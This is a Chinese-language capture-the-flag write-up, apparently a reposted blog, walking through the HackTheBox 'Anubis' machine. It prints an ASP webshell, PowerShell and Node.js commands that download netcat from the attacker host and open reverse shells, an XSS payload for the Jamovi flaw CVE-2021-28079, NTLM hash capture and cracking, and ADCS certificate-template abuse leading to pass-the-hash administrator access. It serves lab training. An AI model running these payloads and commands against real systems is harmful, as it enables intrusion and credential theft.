CTF-Anubis HackTheBox 渗透测试(二)
2022-10-4 23:10:54 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

大家好,我是你们好朋友小峰。预计从今天开始,陆陆续续为大家推出       CTF-Horizontall HackTheBox 系列文章。

0x01 简介

Anubis是由作者4ndr34z在HackTheBox平台上设计,难度相对较高的靶场。该靶场知识点内容涵盖上传ASP webshell、突破容器、然后在 jamovi 中利用 XSS漏洞获取用户帐户并最终针对 ADCS(Active Directory 证书服务)进行权限升级的利用的真实场景。

靶场知识链条

1.1信息收集

Ønmap

1.2目录枚举

Ø目录/文件枚举

Ø带有 VBScript 注入的联系页面

1.3渗透测试

Ø联系页面上的 ASP Webshell

Ø打破 Windows 容器

Ø跨站脚本漏洞CVE-2021-28079 – Jamovi <= 1.16.18

1.4权限提升

·ADCS 域升级(认证二手研究论文)

·重新配置 Web 模板

·注册管理员以获得证书

·使用 Rubeus 揭示管理员的 NTLM 哈希

·祝贺拿到root用户flag文件

让我们开始

0x02 网络扫描

分配给这台机器的 IP 是 10.129.95.208。Nmap 扫描显示一个网站在端口 443 上运行。首先在我们的 hosts 文件中添加了该网站 SSL 证书中提到的通用名称,用于 DNS 路由。(如图2.1所示)

nmap -sV -sC -Pn 10.129.95.208

echo "10.129.95.208 www.windcorp.htb" >> /etc/hosts

图2.1 nmap端口扫描

0x03 目录枚举

枚举目录后,我们找不到任何有价值的目录页面,除了页面以 *.asp 结尾的文档页面,通过服务搭建猜测后台有一个 Windows 服务器运行。持续利用工具枚举目标网站将我们带到了联系页面,该页面显示可以以文本方式输入任何内容。因此,我尝试在消息正文中输入一个基本的VBScript,vbscript脚本可以把当前访问的cookie名称更改为 Harshit。(如图3.1所示)

图3.1 插入cookie脚本代码

我们发现服务器试图写入一个 cookie时它抛出了一个错误,但这开辟了利用范围。(如图3.2所示)

图3.2 写入脚本代码页面报错

0x04 开发

Kali 自带一个功能非常强大的 ASP webshell,脚本目录位置位于 /usr/share/webshells/asp/cmdasp.asp,我们对其进行了简单修改之后,然后上传到服务器上。您可以直接使用已经修改完成的脚本,如下(如图4.1所示)

<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>

图4.1 编写恶意webshell脚本文件

通过联系页面插入后,我们看到现在已将其转换为RCE漏洞。现在通过运行一个简单的命令whoami来测试它(如图4.2所示)

图4.2 运行脚本命令语句

由于目标网站为windows服务器,所以我们提前在攻击机上传一个window netcat,然后利用系统python启动一个web服务器,然后利用靶场访问攻击机下载我们上传好nc工具,最终通过失陷主机使用powershell命令下载执行。(如图4.3所示)

python3 -m http.server 80

图4.3 python启动web服务器

在接收端,我们输入以下命令 powershell one-liner 将这个 exe 保存在受害者桌面上(如图4.4所示)

powershell -c iwr http://10.10.16.3/nc64.exe -outf \Users\Administrator\Desktop\nc64.exe

图4.4 利用powershell下载nc可执行文件

最后我们在攻击机上设置端口 1337 监听器,使用 powershell 启动nc64.exe,你可以看到我们收到了一个反向 shell!(如图4.5所示)(如图4.6所示)

start \Users\Administrator\Desktop\nc64.exe 10.10.16.3 1337 -e cmd.exe
nc -nlvp 1337

图4.5 执行nc可执行文件

图4.6 kali接收windows返回shell

运行 whoami 后,我们看到我们具有管理员访问权限。当我们检查 C:\users 目录时,我们发现我们当前在一个容器中。(如图4.7所示)图4.7 检查 C:\users 目录文件

通过渗透测试以往的经验,我们第一步是在系统上尽可能多收集信息,只有信息收集足够全,对我们下一步渗透会起到至关重要的角色,所以,我们在盘里各种探索,发现在Desktop上观察到了一个 req.txt,查看它是一个证书导出。(如图4.8所示)

图4.8 查看桌面req.txt文件

我们将其复制到本地系统并使用 openssl 命令对其进行解密

openssl req -in req.txt -text

我们发现了一个通用名称参数 (CN) 设置为 softwareportal.windcorp.htb如图4.9所示)

图4.9 使用 openssl 命令对其进行解密

这个 CN需要我们多注意,因为在我们目录枚举中没有找到这个子域名。因此,我们也在主机文件中添加了这个子域,但机器仍然无法访问它。(如图4.10所示)

图4.10 访问windcorp.htb子域

可以明确得出结论,这是一个在容器内运行的内部网站,我们需要搭建一个隧道来访问它。我们用代理工具 chisel来做到这一点。我们下载了windows二进制文件并启动了一个python服务器如图4.11所示)

图4.11 查看代理工具 chisel

在受害者的机器上,我们使用 curl 将其下载到桌面如图4.12所示)

curl http://10.10.16.3/chisel.exe -outfile chisel.exe

图4.12 将chisel代理文件上传window

我们可以使用apt包管理器在kali中安装chisel代理工具。然后我们需要启动一个服务器。如图4.13所示)

apt install chisel

chisel server -p 8001 --reverse

图4.13 执行chisel代理文件监听

在我们的受害者的机器中,我们需要以客户端模式将chisel连接到这个服务器

.\chisel.exe client 10.10.16.3:8001 R:socks

如你所见,chisel 现在已连接到此服务器如图4.14所示)

4.14 chisel连接此服务器

在我们的服务器中,我们看到端口 1080 被用作隧道。如图4.15所示)

4.15 代理文件启动并监听

默认情况下,chisel 使用 socks5 代理。因此,我们转到攻击机kali下 proxychains.conf 文件并将此 IP 和端口添加为 socks5 隧道。请注意,proxychain已预先安装在 kali 中,但可以使用 apt 安装。我注释掉了 socks4 行,因为socks5是升级版本支持协议更多一些,所以这里不使用socks4搭建代理。如图4.16所示)

4.16 更改kaliproxychains代理配置

此外,在我们的受害者机器中,我们将容器的默认网关记住为 172.22.32.1如图4.17所示)

4.17 查看windowsip地址

因为 softwareportal 网页在容器中,所以我们需要在我们的 hosts 文件中添加这个条目,以使我们的系统解析名称。如图4.18所示)

4.18 修改hosts中解析记录

之后,我们可以使用curl访问这个网页,发现我们可以成功访问网页。如图4.19所示)

proxychains curl http://softwareportal.windcorp.htb

4.19 使用代理访问windcorp子域名

在终端中仔细阅读网页代码后,我们发现网页 install.asp 有一个 WinRM超链接,可以发现作用是试图在指定的 IP 中安装特定软件。如图4.20所示)

4.20 源代码发现安装链接

这里值得注意的是,当服务器解析域林中的系统时,首先是对其进行身份验证。这意味着我们可以使用responder工具来捕获执行此功能的用户的 NTLM 哈希。为此,我们设置了一个响应者监听器如图4.21所示)

responder工具:https://github.com/SpiderLabs/Responder

responder -I tun0

4.21 使用responder工具监听

现在,我们将使用我自己的 IP 切换该 URL 中的客户端 IP,并使用 curl 向它发送请求。如图4.22所示)

proxychains curl http://softwareportal.windcorp.htb/install.asp?client=10.10.16.3&software=VNC-Viewer-6.20.529-Windows.exe
4.22 改访问地址并访问安装地址

在我们的响应程序中,我们可以看到我们能够捕获用户 localadmin 的 NTLMv2 哈希。所以使用这个方式是正确的。如图4.23所示)4.23 捕获用户localadminntlmv2哈希

我们将其复制到一个文件中,并尝试使用 john 和 wordlist rockyou.txt 来破解它。通过简短的时间破解从该文件中找到了密码。如图4.24所示)

4.24 破解hash密码

由于没有运行 SSH 或类似服务,我们使用此凭证来检查 SMB 共享。

smbmap -H 10.129.95.208 -u localadmin -p Secret123
smbmap -H 10.129.95.208 -u localadmin -p Secret123 -R Shared

我们在这里需要注意3件重要的事情。首先,创建了 CertEnroll 共享,这可能意味着需要我们身份验证。其次,该用户可以访问一个名为“Shared”的共享,第三,系统上安装了 jamovi。如图4.25所示)

4.25 利用账号密码连接linux主机

由于作者4ndr34z 最近在 Jamovi <=1.6.18 (CVE 2021-28079) 中发现了 XSS 漏洞,因此我们猜测到作者可能会利用 jamovi,然后我们可以进一步提升权限。如图4.26所示)

4.26 查看cve-2021-28097漏洞

通过参考作者在github上的帖子和这个参考视频,我们可以在一个OMV文档的name参数中输入一个脚本。Jamovi 类似于任何 Microsoft Office 文档,因为它是包含在 *.omv 扩展名中的多个文档的存档。所以,接下来我们需要做这两点:

·下载 Whatif.omv,并解压。

·在 metadata.json 中的名称字符串中注入一个修改后的脚本 jamovi.js,该脚本从我们的服务器下载 netcat 并返回一个反向 shell

为此,我们使用 smbclient 登录共享并遍历保存 jamovi 分析文件的目录并下载 Whatif.omv如图4.27所示)

smbclient //10.129.95.208/Shared -U localadmin

4.27 smbclient 登录共享并遍历

我们现在可以解压这个 omv 文件。如你所见,此存档中有各种文件。如图4.28所示)

4.28 解压这个 omv 文件

我们修改了 metadata.json 并在易受攻击的“name”参数中插入了以下代码

<script src=http://10.10.16.3/jamovi.js></script>

此外,我们使用以下代码创建一个新的 JS 文件 jamovi.js:

const ignite = require("child_process");

ignite.exec("powershell -c iwr http://10.10.16.3/nc64.exe -outf \\windows\\system32\\spool\\drivers\\color\\nc64.exe");

ignite.exec("start \\windows\\system32\\spool\\drivers\\color\\nc64.exe 10.10.16.3 4444 -e cmd.exe");

您可以在此处(https://nodejs.org/api/child_process.html)参考有关 child_process 和 exec 命令的 node.js 文档。基本上,这个 JS 文件将从我的服务器下载 nc64.exe 并在端口 4444 上运行服务器。如图4.29所示)

4.29 查看jamovi.js文件代码

在 metadata.json 中完成修改后,你需要从文件夹中删除原始 Whatif.omv 并再次将其压缩回来如图4.30所示)

zip -r Whatif.omv *

4.30 Whatif.omv 并再次将其压缩

现在,我们将 jamovi.js 和 nc64.exe 放在同一个文件夹中并启动我们的 python 服务器如图4.31所示)

4.31 启动python 服务器

完成后,我们需要手动将 Whatif.omv 再次放回同一目录并等待它执行。如图4.32所示)

smbclient //10.129.95.208/Shared -U localadmin
del Whatif.omv
put Whatif.omv

4.32 smbclient登录客户端

现在,我们需要在端口 4444 上启动一个反向端口监听并等待连接。4-5 分钟后,我们看到来自用户 diegocruz 的连接。如图4.33所示)

4.33 反向端口监听并成功

0x05 权限提升

经过对系统的信息收集以后,似乎没有找到可以利用的信息。最后,我们记得机器上运行的“Cert Enroll”共享。我们检查并确认证书注册服务正在运行如图5.1所示)

5.1 使用certutil查看证书

有篇文章描述涵盖了使用黄金证书的域持久性

(https://www.hackingarticles.in/domain-persistence-golden-certificate-attack/),其中解释了有关 ADCS(Active Directory 证书服务)和伪造黄金票据以保持域上的持久性的一些基础知识。

根据本文的指导,我检查了用户 Diego Cruz 是否可以注册证书。如图5.2所示)

certutil -catemplates

5.2 查看注册证书

看起来 Diego Cruz 实际上可以在 Web 模板下注册证书。

首先,我们需要为此攻击下载 Certify.exe 和 Rubeus.exe。可以在此处(https://github.com/Flangvik/SharpCollection/tree/master/NetFramework_4.5_x64)的 SharpCollection 存储库中找到已编译的可执行文件。然后我启动我的 python 网络服务器。如图5.3所示)

5.3 编译的可执行文件

我们现在可以像以前一样使用 Powershell 的 IWR 来下载它如图5.4所示)

Invoke-WebRequest "http://10.10.16.3:8000/Certify.exe" -OutFile "C:\users\diegocruz\Desktop\Certify.exe"

5.4 下载certify文件

Rubeus也一样如图5.5所示)

Invoke-WebRequest "http://10.10.16.3/Rubeus.exe" -OutFile "C:\users\diegocruz\Desktop\Rubeus.exe"

5.5 下载rebeus文件

现在,我们首先需要检查 Web 模板并查看其配置。

.\Certify.exe find

向下滚动以找到 Web 模板。它看起来像这样如图5.6所示)

5.6 查看web模板

Microsoft 说明文档显示 ENROLLEE_SUPPLIES_SUBJECT 标志集意味着用户可以指定自定义 SAN。如图5.7所示)

5.7 microsoft 说明san文档

而且,能够提供自定义 SAN 意味着用户可以复制域中的任何用户!如图5.8所示)

5.8 microsoft 说明san文档

目前只有一个问题,目前这个网页模板只能用于服务器认证。为了能够请求管理员证书,我们需要具有权限登录功能(允许用户请求证书)。但是,Diego Cruz 可以完全控制此 Web 模板,因此需要编辑此模板并添加权限登录功能。

我们将使用三个脚本来实现这一点。PowerView、PoshADCS 和reconfiguretemplate.ps1

ADCS.ps1 脚本的作用是,如果用户可以控制这些属性,它有助于在证书模板上设置这些突出显示的属性。

Reconfiguretemplate.ps1 脚本使用 ADCS 的函数 Set-ADCSTemplate 来有效地设置这些属性。我们只需要在此处列出 Smart Card Logon 的 EKU(增强型密钥使用)。这些 EKU 可在 Microsoft 的网站上找到。对于智能卡登录,EKU 为:OID 1.3.6.1.4.1.311.20.2.2,将在 mspki-certificate-name-flag 属性中提供如图5.9所示)

$Properties = @{}
$Properties.Add('mspki-certificate-name-flag',1)
$Properties.Add('pkiextendedkeyusage',@('1.3.6.1.4.1.311.20.2.2','1.3.6.1.5.5.7.3.2'))
$Properties.Add('msPKI-Certificate-Application-Policy',@('1.3.6.1.4.1.311.20.2.2','1.3.6.1.5.5.7.3.2'))
$Properties.Add('flags','CLEAR')
$Properties.Add('mspki-enrollment-flag',0)
$Properties.Add('mspki-private-key-flag',256)
$Properties.Add('pkidefaultkeyspec',1)
Set-ADCSTemplate -Name Web -Properties $Properties -Force

5.9 使用 ADCS 的函数脚本

现在,我们需要下载这些脚本并将其作为 IEX cmdlet 导入服务器。鉴于我们的 python 服务器已经处于活动状态,我们可以这样做,然后最后运行 Certify.exe find 命令来查找所有现在处于活动状态的模板:如图5.10所示)

Invoke-WebRequest "http://10.10.16.3/PowerView.ps1" -OutFile "C:\users\diegocruz\Desktop\PowerView.ps1"
Invoke-WebRequest "http://10.10.16.3/ADCS.ps1" -OutFile "C:\users\diegocruz\Desktop\ADCS.ps1"
Invoke-WebRequest "http://10.10.16.3/reconfiguretemplate.ps1" -OutFile "C:\users\diegocruz\Desktop\reconfiguretemplate.ps1"
cat -raw PowerView.ps1 | iex
cat -raw ADCS.ps1 | iex
cat -raw reconfiguretemplate.ps1 | iex
.\Certify.exe find

5.10 利用certify查找活动状态

现在,我们再次向下滚动并尝试查找 Web 模板。会观察到各列的外观有何不同。我们已设法将智能卡权限登录功能添加到此模板。如图5.11所示)

5.11 添加登录功能权限

现在,我们的模板已经准备好了。Diego Cruz 现在可以通过冒充任何用户来请求证书。他只需要提供一个主题替代名称。Certify.exe 可以使用 /altname:<user to be requested> 执行此操作,如图5.12所示)

.\certify.exe request /ca:earth.windcorp.htb\windcorp-CA /template:Web /altname:Administrator

可以看到,我们已经成功获得了管理员证书!

5.12 管理员证书

证书请求 ID 也可以在此处注明,因为 certify 中的 /id:<> 选项只需提供此 ID 即可重新请求相同的证书。继续向下看,我们看到我们生成的证书在 *.pem 扩展名中。Microsoft 使用 *.pfx,因此我们需要使用 openssl 将其转换为 pfx 格式。为此,我们将下载该证书的副本(开始复制“BEGIN RSA KEY”并在“END CERTIFICATE”处结束)并在我们的 Kali 机器中保存为 cert.pem。

然后我们可以使用 openssl 将其转换为 pfx,

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

这将为您提供 cert.pfx 作为输出。我在导出此证书时添加了一个简单的密码 123。如图5.13所示)

5.13 添加简单密码 123

我们需要将它复制到受害机器上并运行 Rubeus asktgt 命令来请求用户管理员的 Ticket Granting Ticket,该 Ticket Granting Ticket 可用于进行 pass a ticket 攻击。Rubeus 提供的一个选项是它可以使用 /getcredentials 选项直接转储 NTLM 哈希

Invoke-WebRequest "http://10.10.16.3/cert.pfx" -OutFile "C:\users\diegocruz\Desktop\cert.pfx"
.\Rubeus.exe asktgt /user:Administrator /certificate:C:\users\diegocruz\Desktop\cert.pfx /password:123

你所见,我们已成功获得 kirbi 票据!如图5.14所示)

5.14 获得 kirbi 票据

在向下滚动时,我们看到 Rubeus 也成功地提取了管理员的 NTLM 哈希!如图5.15所示)

5.15 提取管理员NTLM哈希

接下来可以传递哈希并以管理员身份登录。这可以使用 impacket 的 psexec 来完成

python3 /home/kali/impacket/examples/psexec.py -hashes 3CCCXXXXXXXXXXXXXXXXXXXXXXXXXXXX:3CCCXXXXXXXXXXXXXXXXXXXXXXXXXXXX administrator@10.129.95.208 cmd.exe

我们获得了一个管理会话并查看root标志!如图5.16所示)

5.16 读取root标志文件

0x06 参考链接

https://jishuin.proginn.com/p/763bfbd66445

https://www.hackingarticles.in/domain-persistence-golden-certificate-attack/

0X07 

稿VulnStackVulnhubHTB

hacker

0X08 红日新书Web安全攻防从入门到精通排名榜 

为给广大粉丝福利,假期期间当当网关于《Web安全攻防从入门到精通》一律五折,就是这么任性(扫描下图二维码可跳转当当网本书实体店)~~

  

 jia  

|

使

   


文章来源: https://mp.weixin.qq.com/s?__biz=MzI4NjEyMDk0MA==&mid=2649851257&idx=1&sn=dc282034c8c86245e7ce3381ec7c9be9&chksm=f3e4ebfac49362ec8339382efe4235d22d538591a3c53fc4385c2daeab7d35d9adb1f8e46f88&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh